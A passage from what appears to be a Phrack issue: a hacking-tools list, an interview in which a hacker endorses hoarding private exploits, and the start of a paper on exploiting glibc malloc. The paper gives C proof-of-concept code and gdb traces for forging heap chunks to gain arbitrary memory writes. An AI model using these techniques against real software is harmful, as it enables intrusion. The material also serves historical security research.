          firewalk, irpas, tethereal, tcpdump, etc.

          Here are some techniques that you can use it for : port,
          protocol, network scans, arp cache poisonning, dns poisonning,
          DoSing, nuking, sniffing etherleaking, icmpleaking, firewalking,
          NAT discovery, fingerprinting, etc.


----[ 2 - ShellForge : shellcode builder

URL     : http://www.cartel-securite.fr/pbiondi/shellforge.html
Author  : biondi@cartel-securite.fr
Comment : ShellForge is a kit that builds shellcodes from C.
          It is inspired from Stealth's Hellkit. This enables to
          create very complex shellcodes (see example which scans ports).
          C header files are included that provide macros to substitute
          libc calls with direct system calls and an Python script
          automates compilation, extraction, encoding and tests.


----[ 3 - objobf : burneye2 IA32 object file obfuscator

URL     : http://www.team-teso.net/projects/objobf/
Author  : teso@team-teso.net
Comment : Objobf is part of the burneye2 binary security suite. It is an ELF
          relocatable object file obfuscation program. While still a beta
          release it works well on smaller object files and can significantly
          increase the time for manual decompilation. Within the downloadable
          tarball there are some examples. Besides obfuscation it does limited
          code and dataflow analysis and displays them in high quality graphs,
          using the free xvcg or the propietary aiSee graphing tools.
          Full sourcecode of the objobf tool is available at the above URL.


----[ 4 - ELFsh 0.51b2 portable : ELF objects manipulation scripting language

URL      : http://elfsh.devhell.org
           http://elfsh.segfault.net (mirror)
Author   : elfsh@devhell.org
Comments : ELFsh is an interactive and scriptable ELF machine to play with
           executable files, shared libraries and relocatable ELF32
           objects. It is useful for daily binary manipulations such as
           on-the-fly patching, embedded code injection, and binary
           analysis in research fields such as reverse engineering,
           security auditing and intrusion detection. ELFsh is based on
           libelfsh, so that the API is really useable in opensource
           projects. This version works on 2 architectures (INTEL, SPARC)
           and 4 OS (Linux, FreeBSD, NetBSD, Solaris).

----[ 5 - Packit : Network injection, capture and auditing tool

URL      : http://packit.sf.net
Author   : Darren Bounds <dbounds@intrusense.com>
Comments : Packit (Packet toolkit) is a network auditing tool. Its value is
           derived from its ability to customize, inject, monitor, and
           manipulate IP traffic. By allowing you to define (spoof) nearly
           all TCP, UDP, ICMP, IP, ARP, RARP, and Ethernet header options,
           Packit can be useful in testing firewalls, intrusion
           detection/prevention systems, port scanning, simulating network
           traffic, and general TCP/IP auditing. Packit is also an
           excellent tool for learning TCP/IP. It has been successfully
           compiled and tested to run on FreeBSD, NetBSD, OpenBSD, MacOS X
           and Linux.

|=[ EOF ]=---------------------------------------------------------------=|


--------------------------------------------------------------------------------


phrack.org:~# cat .bash_history

                            ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x04 of 0x0f

|=---------------=[ P R O P H I L E   O N   D I G I T ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Phrack Staff ]=-----------------------------=|


|=---=[ Specification

                  Handle: DiGiT
                     AKA: digit, eskimo, icemonkey
           Handle origin: its not a funny story
               catch him: digit@security.is
        Age of your body: 22
             Produced in Reykjavik, Iceland
         Height & Weight: 192cm, 80kg
                    Urlz: none
               Computers: 2 laptops, 3 intel machines, indigo II, and a
                          sparc station
               Member of: smapika international
                Projects: Mostly just stuff for my work and school related
                          things. 

|=---=[ Favorite things


          Women: brunettes, blondes, and I prefer they have charisma,
                 ambition, independence, intelligence, sense of humor
           Cars: German of course ;>
          Foods: Italian, asian
        Alcohol: beer, vodka/coke
          Music: trance/techno, rock, classical
        Movies: Pianist, godfather, Dune, LOTR, Bad boy bubby, Happiness
Books & Authors: 
           Urls: 
         I like: Achiving my goals, honesty, integrity, wachyness
     I dislike: Waking up very early in the morning, constant rain, stuck
                in an office all day, fake people

|=---=[ Life in 3 sentences


No fear. Never give up. Never surrender.


|=---=[ Passions | What makes you tick

    I like to set myself some sort of goal and try to achieve that within
a certain amount of time. Being able to be my own boss is probably my
greatest passion. I don't like to take orders and I value my independence
greatly and the ability to do whatever I want is pretty important to me.

    In the past I basically quit everything to do almost nothing but
computers/inet/hacking. I did that since I was around 16 until I was 20. I
audited code around the clock, hacking, wrote exploits, and chatted with my
friends on irc from dusk till dawn basically.

    The biggest experience for me was probably meeting the people that I
did and the influence they had on me to improve myself. I probably have
meeting antilove/RawPower and crazy-b at the top of my list with regards to
that and they both really influenced me a lot and they probably provided me
with my greatest experience with regards to hacking.


|=---=[ Which research have you done or which one gave you the most fun?

    None much more than any other. Whenever I found some bug or something
that I knew was unknown and the satisfaction of exploiting it was a lot of
fun.

--=[ Memorable Experiences

    I will never forget getting run over by a bus when I was 14 and having
to stay in a hospital for 3 months and the frequent trips for another year
afterwards pretty much is something I will never forget. Also the fact that
the longest strike of Icelandic highschool teachers in icelandic history
was happening at the exact same time I was stuck in a bed in a hospital.

    Installing my first Linux system(back in '94 i think) and thinking that
the installation floppy shell prompt from the slackware distro was
basically a full installation of slackware ;> I had hardly any previous
experience with Linux at the time.

    Spending an absurd amount of time at my computer doing crazy stuff for
no other reason other than to get the get the best rush imaginable.

    Meeting crazy-b for the first time on the same system we were both
hacking and then deciding to meet on irc and becoming friends in the
process.

    When crazy-b had to go into the norwegian army he wrote a small program
that was a rudimentary irc client that piped input from an irc channel to a
script that sent an sms to his phone with the input and also him being able
to send an email to his address that piped the content of the mail to the
irc channel. This way he could still irc from his mobile phone despite
being in the army ;> 

    Meeting the great antilove back in '97 and getting some private samba
warez ;>

    Having antilove visit Iceland twice and doing lots of cool stuff with
him like rollerblading, hunting for smapika, acting stupid, him teaching me
how to lockpick, finding new bugs, writing exploits, teaching me how to
bluebox, etc.

    Totally destroying my car when me and antilove were driving to a kfc in
2001 because some girl ran a red light at about 80km/h in the morning and
then laughing about it the entire day for some reason.

    All the security.is weekends with the exploits we wrote and the bugs
that we found together and with the trademark security.is hamburgers as
made by portal.

    Having lots of fun with mikasoft and ga when they visited Iceland for
new years a few years ago and especially when mikasoft was teaching yoga at
a new years eve dinner my family was throwing. Also the duck liver pat was
disgusting.

    Going to France with Icelandic friends and meeting a lot of hackers in
Paris and having like 10 guys sleeping in the smallest room you could
imagine. Then taking a cool train trip from Paris to montpellier and
meeting a lot of other hackers and just totally invading montpellier and
taking over an internet cafe for a week ;> Also hanging out at the beech
with the amazingly cool french guys and starting a fire and drinking beer
and listening to good music.

    Going to the club La Dune on our FIRST night in montpellier with all
the french hackers/etc and buying a lot of champagne for everyone and
antilove and nitro buying a ton of vodka for a group of like 20 people and
just partying the entire night and watching all the non french people make
total asses of themselves.

    Same night at La dune I will never forget witnessing Candypimp going
beserk after drinking way too much and trying to jump into the ocean and
then disapeering. we called the police to search for an 'insane' drunk
Icelandic person that couldn't speak english anymore and who thought he was
in his home city of Akureyri and not 50km away from montpellier and
probably even didn't know where we were staying!

    JimJones was really drunk that night too and he passed out on some tree
before waking up again and deciding to take a piss. He went into some ditch
and somehow he managed to piss all over himself! If I remember correctly
me, nitro, and antilove had to remove his clothes that night because he was
too drunk to do it himself. He was then called pissman for the duration of
the trip ;> 

    Going to Las vegas with Starcon for blackhat and defcon and actually
PAYING for blackhat but I only went to 1 speech(halvars) because my brother
took the time to come down from Seattle to visit me.

    Going to defcon and seeing how amazingly commercial and fake it really
is. Just look at the shit being sold there and all those stupid t-shirt
stands.

    The coolest thing about defcon was the K2 party where a lot of people
were hanging out and it was a very memorable night and I had nice talks
with a lot of cool people.

    A recent jimjones visit to Iceland where we really didn't do anything
except relax and drink beer and eat some BBQ. We also enjoyed a very nice
viewing of bad boy bubby which I recommend to anyone that wants a good
laugh and some insight into the world of jimjones(based on his lifes story).


|=---=[ Open Interview

[can give as much detailed answers here as you like]

Q: When did you start to play with computers?
A: I was probably around 12 years old when I got my first real computer.

Q: When did you had your first contact to the 'scene'?
A: Boy... I guess it is probably sometime in 1995 and I got involved with
   some "hackers" doing some questionable things ;> I think I started off
   by joining #hack on IRCnet and also #shells on efnet(ehrm! ;>)

Q: When did you for your first time connect to the internet?
A: Was at my school when I was probably around 13 years old and we had a
   2400 baud modem and some old dial up program called kermit, i think,
   that we used to call some line at the Icelandic university. It was
   basically just a direct connection to a hp-ux box and someone tought me
   how to use ircii and so basically my first experience with the Internet
   was also my first time with irc.

Q: What other hobbies do you have?
A: I like to do stuff with my friends,go see movies, fish, read, go out for
   drinks, and just anything that comes up.

Q: ...and how long did it take until you joined irc? Do you remember
   the first channel you joined?
A: Again this was not very far between since I started irc pretty much the
   same time. I believe the first channel I joined was #iceland.

Q: What's your architecture / OS of choice?
A: Im so used to intel so I really can't pick anything else and Linux is
   still my preferred OS although i have netbsd here somewhere.

Q: What do you think about anti.security.is and non-disclosure?
A: anti security was a good idea but ultimately it was a failure. The
   reason it failed was that the people that supported none-disclosure and
   took part in antisec discussions were constantly arguing amongst
   themselves about a lot of stuff some of which was for good reasons but
   also stuff that was totally out there and eventually it lead to antisec
   dying.

   I personally believe that none-disclosure is the way to go and I have
   believed that for some time now. I don't judge people that disclose
   because I remember disclosing bugs/exploits at one point and so I am not
   really in a position to flame people that continue to do so. 

   I mean antisec also had some stupid information in some areas
   specifcally about the true reasons behind antisec were not to create
   some greater security in the world or something like that which was
   mentioned in the FAQ and we took a lot of crap for. It was to keep
   security research where it belongs, with those that actually did it and
   at most a small tight knit group. That basically meant that people that
   found bugs, wrote exploits, and hacked wanted to keep their
   exploits/research private so that they had some nice private warez for
   some time ;>

   Full disclosure is for equally selfish reasons because it really boils
   down to two things: fame and money. People think, rightly so, that by
   releasing bugs or exploits that they become recognized among their peers
   and that might eventually lead to a job in security or something like
   that. People that say they release bugs/exploits for the good of the
   world or something like that are full of shit. 

Q: What do you think about the right of other 'research' groups to forbid
   other organizations the use of their exploits ("Copyright on exploits")?
A: Seriously who would care about a copyright header on some exploit?
   People would use it anyways.


Q: What do you thing about full-disclosure. Is it important or dangerous?
A: I know I don't like it and there are a lot of good reasons why it sucks.
   It ruins bugs! ;> And there are some negative "world issues" because
   every hacker that wants to make a name for himself will try to write an
   exploit for it and subsequently release it. Maybe he doesn't release
   directly to BUGTRAQ but he gives it to lots of "friends" which leak it
   of course and soon enough its everywhere. 

   What happens next is that every script kiddie and some more advanced
   script kiddies will use the exploit and deface sites, ruin stuff, and
   then soon a worm will appear. I do not personally have anything against
   those things per se but I'm sure a lot of people do. If the
   vulnerability is unknown or kept private such things would not happen.

   Full disclosure can definetly be really dangerous and we all know that
   the people that discover bugs in software aren't on some quest to secure
   software for the good of the world. They do it for themselves. Also why
   should hackers do the job for software companies and even if they
   publish they risk getting sued or something? I also hate all those full
   disclosure policies that say you need to give a vendor a month or
   something before publishing and all the other stupid rules.
   My advice: don't disclose - avoid the hassle.

   I do however agree to some of the arguments about the necessity of full
   disclosure. I can't remember any right now so forget that but ultimately
   full disclosure of any vulnerability is the fuel the drives the
   information security companies that don't care about anything except
   their bottom line. 


Q: If you see or hear about various protection meassures against hackers
   such as grsecurity, PaX, Owl or strong encryption (SSH, SSL or IPSec)
   do you think hacking will still be possible in the future? What kind of
   vulnerabilities will people focus on in the future?
A: If we assume that all these programs are successful in stopping most
   buffer overflow attacks and it has become 'impossible' to evade these
   programs then just new types of vulnerabilities will be discovered.
   Logic bugs in programs are just as dangerous as buffer overflows and so
   hacking will of course be possible in the future the only thing that
   will change are the vulnerabilities and the methods.

Q: How do you feel when yet another XSS vulnerability hits the media?
   (Do you have a regex covering XSS postings in your spam filter?)
A: blah

Q: What will hacking in the future look like? More complicated or easier?
A: no idea.

Q: You have been in the scene for quite a while. If you look back, what
   was the worst thing that happened to the scene? What was the best 
   that happened?
A: This "scene" always comes up. I never followed any specific scene or
   anything. I was just chatting with my friends and hacking with them and
   that was about it. Although I guess the commericialization of everything
   in the scene was probably the worst thing that happened. Didn't bugtraq
   get sold for millions of dollars? A mailing list! And companies buying 
   exploits how low can u get?  

Q: If you could turn the clock backwards, what would you do different
   in your young life ?
A: My young life? Portal calls me grandpa. I guess I would go back a few
   years into the past and avoid losing contact with my old friends.


=---=[ One word comments

[give a 1-word comment to each of the words on the left]

Digital Millennium Copyright Act (DMCA): blabla 
security.is                            : sleeping
Georges. W. BUSH                       : war
Companies buying exploits from hackers : silly
IRC                                    : burp
Hacker meetings                        : colorful
Full Disclosure Policy                 : pseudo
anti.security.is                       : dead
Whitehats                              : dingdong


|=---=[ Any suggestions/comments/flames to the scene and/or specific people?

Do what you want to do and don't let anyone control you.


|=---=[ The future of the computer underground

    What is the computer underground anyways? People talk about it as if it
were some very formal and controlled thing or something. The computer
underground as I understand it basically just consists of various groups
and places people hang out at and talk and do stuff together in small
seperate groups. I have no idea where it is gona go in the future.


|=---=[ Shoutouts & Greetings


I wana send a big hello to:

security.is, antilove(miss u bro), crazy-b(beware of hermaphrodites),
cleb(rest in peace man), old ADM pals, JimJones, old #hax guys! stealth,
sk8(freesk8.org), mikasoft, ga, ace24, ig-88, ghettodxm, scut, horizon,
duke, cheez, starcon, lkm, nitro, bawd, wtf, kewl, joey,
Synner/m0nty/Kod/Jackal(crazy greeks) and everyone of my other old friends
that I haven't talked to in years.

|=[ EOF ]=---------------------------------------------------------------=|



--------------------------------------------------------------------------------


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x06 of 0x0f

|=--------------[ Advanced Doug lea's malloc exploits ]-----------------=|
|=----------------------------------------------------------------------=|
|=-----------------------[ jp <jp@corest.com> ]-------------------------=|
|=----------------------------------------------------------------------=|

1 - Abstract
2 - Introduction
3 - Automating exploitation problems
4 - The techniques
    4.1 - aa4bmo primitive
        4.1.1 - First unlinkMe chunk
        4.1.1.1 - Proof of concept 1: unlinkMe chunk
        4.1.2 - New unlinkMe chunk
    4.2 - Heap layout analysis
        4.2.1 - Proof of concept 2: Heap layout debugging 
    4.3 - Layout reset - initial layout prediction - server model
    4.4 - Obtaining information from the remote process
        4.4.1 - Modifying server static data - finding process' DATA
        4.4.2 - Modifying user input - finding shellcode location
            4.4.2.1 - Proof of concept 3 : Hitting the output
        4.4.3 - Modifying user input - finding libc's data
            4.4.3.1 - Proof of concept 4 : Freeing the output
        4.4.4 - Vulnerability based heap memory leak - finding libc's DATA
    4.5 - Abusing the leaked information
        4.5.1 - Recognizing the arena
        4.5.2 - Morecore
            4.5.2.1 - Proof of concept 5 : Jumping with morecore
        4.5.3 - Libc's GOT bruteforcing
            4.5.3.1 - Proof of concept 6 : Hinted libc's GOT bruteforcing
        4.5.4 - Libc fingerprinting
        4.5.5 - Arena corruption (top, last remainder and bin modification)
    4.6 - Copying the shellcode 'by hand'
5 - Conclusions
6 - Thanks
7 - References

Appendix I - malloc internal structures overview

---------------------------------------------------------------------------

--[ 1. Abstract

This paper details several techniques that allow more generic and reliable
exploitation of processes that provide us with the ability to overwrite
an almost arbitrary 4 byte value at any location.
Higher level techniques will be constructed on top of the unlink() basic
technique (presented in MaXX's article [2]) to exploit processes which
allow an attacker to corrupt Doug Lea's malloc (Linux default's dynamic
memory allocator).
unlink() is used to force specific information leaks of the target process
memory layout. The obtained information is used to exploit the target
without any prior knowledge or hardcoded values, even when randomization
of main object's and/or libraries' load address is present.

Several tricks will be presented along different scenarios, including:
    * special chunks crafting (cushion chunk and unlinkMe chunk)
    * heap layout consciousness and analysis using debugging tools
    * automatically finding the injected shellcode in the process memory
    * forcing a remote process to provide malloc's internal structures
     addresses
    * looking for a function pointer within glibc
    * injecting the shellcode into a known memory address

The combination of these techniques allows to exploit the OpenSSL 'SSLv2
Malformed Client Key Buffer Overflow' [6] and the CVS 'Directory double
free' [7] vulnerabilities in a fully automated way (without hardcoding
any target based address or offset), for example.

---------------------------------------------------------------------------

--[ 2. Introduction

Given a vulnerability which allows us to corrupt malloc's internal
structures (i.e. heap overflow, double free(), etc), we can say it
'provides' us with the ability to perform at least an 'almost arbitrary 4
bytes mirrored overwrite' primitive (aa4bmo from now on).
We say it's a 'mirrored' overwrite as the location we are writing at
minus 8 will be stored in the address given by the value we are writing
plus 12. Note we say almost arbitrary as we can only write values that are
writable, as a side effect of the mirrored copy. 
The 'primitive' concept was previously introduced in the 'Advances in
format string exploitation' paper [4] and in the 'About exploits writing'
presentation [5].
Previous work 'Vudo - An object superstitiously believed to embody magical
power' by Michel 'MaXX' Kaempf [2] and 'Once upon a free()' [3] give fully
detailed explanations on how to obtain the aa4bmo primitive from a
vulnerability. At [8] and [9] can be found the first examples of malloc
based exploitation.
We'll be using the unlink() technique from [2] as the basic lower level
mechanism to obtain the aa4bmo primitive, which we'll use through all the
paper to build higher level techniques.

                   malloc                         higher
vulnerability  ->  structures  ->  primitive  ->  level
                   corruption                     techniques
---------------------------------------------------------------------------
heap overflow         unlink()                       freeing the output
double free()  ->  technique   ->  aa4bmo     ->  hitting the output
...                                               cushion chunk
                                                  ...

This paper focuses mainly on the question that arises after we reach the
aa4bmo primitive: what should we do once we know a process allows us to
overwrite four bytes of its memory with almost any arbitrary data?
In addition, tips to reach the aa4bmo primitive in a reliable way are 
explained.

Although the techniques are presented in the context of malloc based
heap overflow exploitation, they can be employed to aid in format string
exploits as well, for example, or any other vulnerability or combination
of them, which provide us with similar capabilities.

The research was focused on the Linux/Intel platform; glibc-2.2.4,
glibc-2.2.5 and glibc-2.3 sources were used, mainly the file malloc.c
(an updated version of malloc can be found at [1]). Along this paper we'll
use 'malloc' to refer to Doug Lea's malloc based implementation.

---------------------------------------------------------------------------
--] 3. Automating exploitation problems

When trying to answer the question 'what should we do once we know we can
overwrite four bytes of the process memory with almost any arbitrary
data?', we face several problems:

A] how can we be sure we are overwriting the desired bytes with the 
desired bytes?
As the aa4bmo primitive is the underlying layer that allows us to
implement the higher level techniques, we need to be completely sure it is
working as expected, even when we know we won't know where our data will
be located. Also, in order to be useful, the primitive should not crash
the exploited process.

B] what should we write?
We may write the address of the code we intend to execute, or we may
modify a process variable. In case we inject our shellcode in the 
process, we need to know its location, which may vary together with the
evolving process heap/stack layout.

C] where should we write?
Several known locations can be overwritten to modify the execution flow,
including for example the ones shown in [10], [11], [12] and [14].
In case we are overwriting a function pointer (as when overwriting a stack
frame, GOT entry, process specific function pointer, setjmp/longjmp,
file descriptor function pointer, etc), we need to know its precise location.
The same happens if we plan to overwrite a process variable. For example,
a GOT entry address may be different even when the source code is the
same, as compilation and linking parameters may yield a different process
layout, as happens with the same program source code compiled for 
different Linux distributions.

Along this paper, our examples will be oriented at overwriting a function
pointer with the address of injected shellcode. However, some techniques
also apply to other cases.

Typical exploits are target based, hardcoding at least one of the values
required for exploitation, such as the address of a given GOT entry,
depending on the targeted daemon version and the Linux distribution and
release version. Although this simplifies the exploitation process, it is
not always feasible to obtain the required information (i.e. a server can
be configured to lie or to not disclose its version number). Besides, we
may not have the needed information for the target. Bruteforcing more than
one exploit parameter may not always be possible, if each of the values
can't be obtained separately.
There are some well known techniques used to improve the reliability
(probability of success) of a given exploit, but they are only an aid for
improving the exploitation chances. For example, we may pad the shellcode
with more nops, we may also inject a larger quantity of shellcode in the
process (depending on the process being exploited) inferring there are
more possibilities of hitting it that way. Although these enhancements
will improve the reliability of our exploit, they are not enough for an
exploit to work always on any vulnerable target. In order to create a
fully reliable exploit, we'll need to obtain both the address where our
shellcode gets injected and the address of any function pointer to
overwrite.

In the following, we discuss how these requirements may be accomplished in
an automated way, without any prior knowledge of the target server. Most
of the article details how we can force a remote process to leak the
required information using aa4bmo primitive.

---------------------------------------------------------------------------
--] 4. The techniques

--] 4.1 aa4bmo primitive 

--] 4.1.1 First unlinkMe chunk

In order to be sure that our primitive is working as expected, even in
scenarios where we are not able to fully predict the location of our
injected fake chunk, we build the following 'unlinkMe chunk':


 -4        -4      what     where-8    -11      -15      -19    ...
|--------|--------|--------|--------|--------|--------|--------|...
 sizeB    sizeA    FD       BK
 ----------- nasty chunk -----------|--------|-------------------->
                                            (X)

We just need a free() call to hit our block after the (X) point to
overwrite 'where' with 'what'.

When free() is called the following sequence takes place:

- chunk_free() tries to look for the next chunk, it takes the chunk's
  size (<0) and adds it to the chunk address, obtaining always the sizeA
  of the 'nasty chunk' as the start of the next chunk, as all the sizes
  after the (X) are relative to it.

- Then, it checks the prev_inuse bit of our chunk, but as we set it (each
  of the sizes after the (X) point has the prev_inuse bit set, the
  IS_MMAPPED bit is not set) it does not try to backward consolidate
  (because the previous chunk 'seems' to be allocated).

- Finally, it checks if the fake next chunk (our nasty chunk) is free. It
  takes its size (-4) to look for the next chunk, obtaining our fake
  sizeB, and checks for the prev_inuse flag, which is not set. So, it
  tries to unlink our nasty chunk from its bin to coalesce it with the
  chunk being freed.

- When unlink() is called, we get the aa4bmo primitive. The unlink()
  technique is described in [2] and [3].

--] 4.1.1.1 Proof of concept 1: unlinkMe chunk

We'll use the following code to show in a simple way the unlinkMe chunk in
action:

#define WHAT_2_WRITE  0xbfffff00
#define WHERE_2_WRITE 0xbfffff00
#define SZ            256
#define SOMEOFFSET    5 + (rand() % (SZ-1))
#define PREV_INUSE    1
#define IS_MMAP       2
int main(void){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = WHAT_2_WRITE;
   unlinkMe[i++] = WHERE_2_WRITE-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
   }
   free(unlinkMe+SOMEOFFSET);
   return 0;
}

Breakpoint 3, free (mem=0x804987c) at heapy.c:3176

     if (mem == 0)    /* free(0) has no effect */
3181      p = mem2chunk(mem);
3185      if (chunk_is_mmapped(p))    /* release mmapped memory. */

We did not set the IS_MMAPPED bit.

3193      ar_ptr = arena_for_ptr(p);
3203      (void)mutex_lock(&ar_ptr->mutex);
3205      chunk_free(ar_ptr, p);

After some checks, we reach chunk_free().

(gdb) s
chunk_free (ar_ptr=0x40018040, p=0x8049874) at heapy.c:3221

Let's see how does our chunk looks at a random location...

(gdb) x/20x p
0x8049874:      0xfffffd71      0xfffffd6d      0xfffffd69      0xfffffd65
0x8049884:      0xfffffd61      0xfffffd5d      0xfffffd59      0xfffffd55
0x8049894:      0xfffffd51      0xfffffd4d      0xfffffd49      0xfffffd45
0x80498a4:      0xfffffd41      0xfffffd3d      0xfffffd39      0xfffffd35
0x80498b4:      0xfffffd31      0xfffffd2d      0xfffffd29      0xfffffd25

We dumped the chunk including its header, as received by chunk_free().

3221      INTERNAL_SIZE_T hd = p->size; /* its head field */
3235      sz = hd & ~PREV_INUSE;

(gdb) p/x hd
$5 = 0xfffffd6d
(gdb) p/x sz
$6 = 0xfffffd6c

3236      next = chunk_at_offset(p, sz);
3237      nextsz = chunksize(next);


Using the negative relative size, chunk_free() gets the next chunk, let's
see which is the 'next' chunk:

(gdb) x/20x next
0x80495e0:      0xfffffffc      0xfffffffc      0xbfffff00      0xbffffef8
0x80495f0:      0xfffffff5      0xfffffff1      0xffffffed      0xffffffe9
0x8049600:      0xffffffe5      0xffffffe1      0xffffffdd      0xffffffd9
0x8049610:      0xffffffd5      0xffffffd1      0xffffffcd      0xffffffc9
0x8049620:      0xffffffc5      0xffffffc1      0xffffffbd      0xffffffb9

(gdb) p/x nextsz
$7 = 0xfffffffc

It's our nasty chunk...

3239      if (next == top(ar_ptr))    /* merge with top */
3278      islr = 0;
3280      if (!(hd & PREV_INUSE))   /* consolidate backward */

We avoid the backward consolidation, as we set the PREV_INUSE bit.

3294      if (!(inuse_bit_at_offset(next, nextsz)))   
                /* consolidate forward */

But we force a forward consolidation. The inuse_bit_at_offset() macro adds
nextsz (-4) to our nasty chunk's address, and looks for the PREV_INUSE bit
in our other -4 size.

3296        sz += nextsz;
3298        if (!islr && next->fd == last_remainder(ar_ptr))
3306          unlink(next, bck, fwd);

unlink() is called with our supplied values: 0xbffffef8 and 0xbfffff00 as
forward and backward pointers (it does not crash, as they are valid
addresses).

             next = chunk_at_offset(p, sz);
3315      set_head(p, sz | PREV_INUSE);
3316      next->prev_size = sz;
3317      if (!islr) {
3318        frontlink(ar_ptr, p, sz, idx, bck, fwd);

fronlink() is called and our chunk is inserted in the proper bin. 

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049a40 - top size = 0x05c0
   bin 126 @ 0x40018430
      free_chunk @ 0x80498d8 - size 0xfffffd64

The chunk was inserted into one of the bigger bins... as a consequence of
its 'negative' size. 
The process won't crash if we are able to maintain this state. If more
calls to free() hit our chunk, it won't crash. But it will crash in case a
malloc() call does not find any free chunk to satisfy the allocation
requirement and tries to split one of the bins in the bin number 126, as
it will try to calculate where is the chunk after the fake one, getting
out of the valid address range because of the big 'negative' size (this
may not happen in a scenario where there is enough memory allocated
between the fake chunk and the top chunk, forcing this layout is not very
difficult when the target server does not impose tight limits to our
requests size).

We can check the results of the aa4bmo primitive:

(gdb) x/20x 0xbfffff00

                                !!!!!!!!!!                      !!!!!!!!!!
0xbfffff00:     0xbfffff00      0x414c0065      0x653d474e      0xbffffef8
0xbfffff10:     0x6f73692e      0x39353838      0x53003531      0x415f4853
0xbfffff20:     0x41504b53      0x2f3d5353      0x2f727375      0x6562696c
0xbfffff30:     0x2f636578      0x6e65706f      0x2f687373      0x6d6f6e67
0xbfffff40:     0x73732d65      0x73612d68      0x7361706b      0x4f480073


If we add some bogus calls to free() in the following way:

   for(i=0;i<5;i++) free(unlinkMe+SOMEOFFSET);

we obtain the following result for example:

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 126 @ 0x40018430
      free_chunk @ 0x8049958 - size 0x8049958
      free_chunk @ 0x8049954 - size 0xfffffd68
      free_chunk @ 0x8049928 - size 0xfffffd94
      free_chunk @ 0x8049820 - size 0x40018430
      free_chunk @ 0x80499c4 - size 0xfffffcf8
      free_chunk @ 0x8049818 - size 0xfffffea4

without crashing the process.

--] 4.1.2 New unlinkMe chunk

Changes introduced in newer libc versions (glibc-2.3 for example) affect
our unlinkMe chunk. The main problem for us is related to the addition of
one flag bit more. SIZE_BITS definition was modified, from:

#define SIZE_BITS (PREV_INUSE|IS_MMAPPED)

to:

#define SIZE_BITS (PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA)

The new flag, NON_MAIN_ARENA is defined like this:

/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
   from a non-main arena.  This is only set immediately before handing
   the chunk to the user, if necessary.  */
#define NON_MAIN_ARENA 0x4


This makes our previous unlinkMe chunk to fail in two different points in
systems using a newer libc.

Our first problem is located within the following code:

public_fREe(Void_t* mem)
{
...
  ar_ptr = arena_for_chunk(p);
...
  _int_free(ar_ptr, mem);
...

where:

#define arena_for_chunk(ptr) \
 (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena)

and 

/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)

If heap_for_ptr() is called when processing our fake chunk, the process
crashes in the following way:

0x42074a04 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a04 <free+84>:      and    $0x4,%edx
(gdb) x/20x $edx
0xffffffdd:     Cannot access memory at address 0xffffffdd

0x42074a07 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a07 <free+87>:      je     0x42074a52 <free+162>

0x42074a09 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a09 <free+89>:      and    $0xfff00000,%eax

0x42074a0e in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a0e <free+94>:      mov    (%eax),%edi
(gdb) x/x $eax
0x8000000:      Cannot access memory at address 0x8000000

Program received signal SIGSEGV, Segmentation fault.
0x42074a0e in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a0e <free+94>:      mov    (%eax),%edi

So, the fake chunk size has to have its NON_MAIN_ARENA flag not set.


Then, our second problem takes places when the supplied size is masked
with the SIZE_BITS. Older code looked like this:

      nextsz = chunksize(next);
0x400152e2 <chunk_free+64>:        mov    0x4(%edx),%ecx
0x400152e5 <chunk_free+67>:        and    $0xfffffffc,%ecx

and new code is:

      nextsize = chunksize(nextchunk);
0x42073fe0 <_int_free+112>:     mov    0x4(%ecx),%eax
0x42073fe3 <_int_free+115>:     mov    %ecx,0xffffffec(%ebp)
0x42073fe6 <_int_free+118>:     mov    %eax,0xffffffe4(%ebp)
0x42073fe9 <_int_free+121>:     and    $0xfffffff8,%eax

So, we can't use -4 anymore, the smaller size we can provide is -8.
Also, we are not able anymore to make every chunk to point to our nasty
chunk. The following code shows our new unlinkMe chunk which solves both
problems:

unsigned long *aa4bmoPrimitive(unsigned long what, 
                               unsigned long where,unsigned long sz){
   unsigned long *unlinkMe;
   int i=0;

   if(sz<13) sz = 13;
   unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long));
    // 1st nasty chunk
   unlinkMe[i++] = -4;    // PREV_INUSE is not set
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
    // 2nd nasty chunk
   unlinkMe[i++] = -4; // PREV_INUSE is not set
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<sz;i++)
      if(i%2)
            // relative negative offset to 1st nasty chunk
         unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
      else
            // relative negative offset to 2nd nasty chunk
         unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;

   free(unlinkMe+SOMEOFFSET(sz));
   return unlinkMe;
}

The process is similar to the previously explained for the first unlinkMe
chunk version. Now, we are using two nasty chunks, in order to be able to
point every chunk to one of them. Also, we added a -4 (PREV_INUSE flag not
set) before each of the nasty chunks, which is accessed in step 3 of the
'4.1.1 First unlinkMe chunk' section, as -8 is the smaller size we can
provide.

This new version of the unlinkMe chunk works both in older and newer libc
versions. Along the article most proof of concept code uses the first
